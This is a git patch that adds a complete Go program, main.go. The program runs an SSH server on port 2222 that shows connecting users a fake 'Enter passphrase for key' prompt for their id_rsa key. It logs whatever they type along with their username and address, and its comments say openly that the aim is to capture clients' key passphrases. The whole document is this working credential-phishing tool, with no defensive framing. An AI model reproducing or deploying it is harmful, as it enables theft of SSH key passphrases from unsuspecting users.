From 34e0f86d7eea9ed9cb891d20d0de63ce7e79dc0a Mon Sep 17 00:00:00 2001 From: maride Date: Tue, 12 Feb 2019 14:40:46 +0100 Subject: Init --- main.go | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 main.go (limited to 'main.go') diff --git a/main.go b/main.go new file mode 100644 index 0000000..b2b2ae4 --- /dev/null +++ b/main.go @@ -0,0 +1,50 @@ +package main + +import ( + "fmt" + "github.com/gliderlabs/ssh" + "log" + "strings" +) + +func main() { + ssh.Handle(handleConnection) + listenErr := ssh.ListenAndServe(":2222", nil) + + if listenErr != nil { + log.Fatalln(listenErr.Error()) + } +} + +func handleConnection(s ssh.Session) { + // Set up buffer + buf := make([]byte, 1) + + // Send our message + fmt.Fprintf(s, "Enter passphrase for key '/home/%s/.ssh/id_rsa': ", s.User()) + + // Read id_rsa password of our client ;) + var readErr error + strBuf := "" + + for readErr == nil && !strings.Contains(strBuf, "\x0D") { + _, readErr = s.Read(buf) + + if string(buf[0]) != "\x0D" { + strBuf += string(buf[0]) + } else { + break + } + } + + if readErr == nil { + // Print out pass + log.Printf("%s@%s: '%s'", s.User(), s.RemoteAddr().String(), strBuf) + } else { + // Read error - just log that. + log.Println(readErr.Error()) + } + + // And close it. + s.Exit(1) +} -- cgit 1.4.1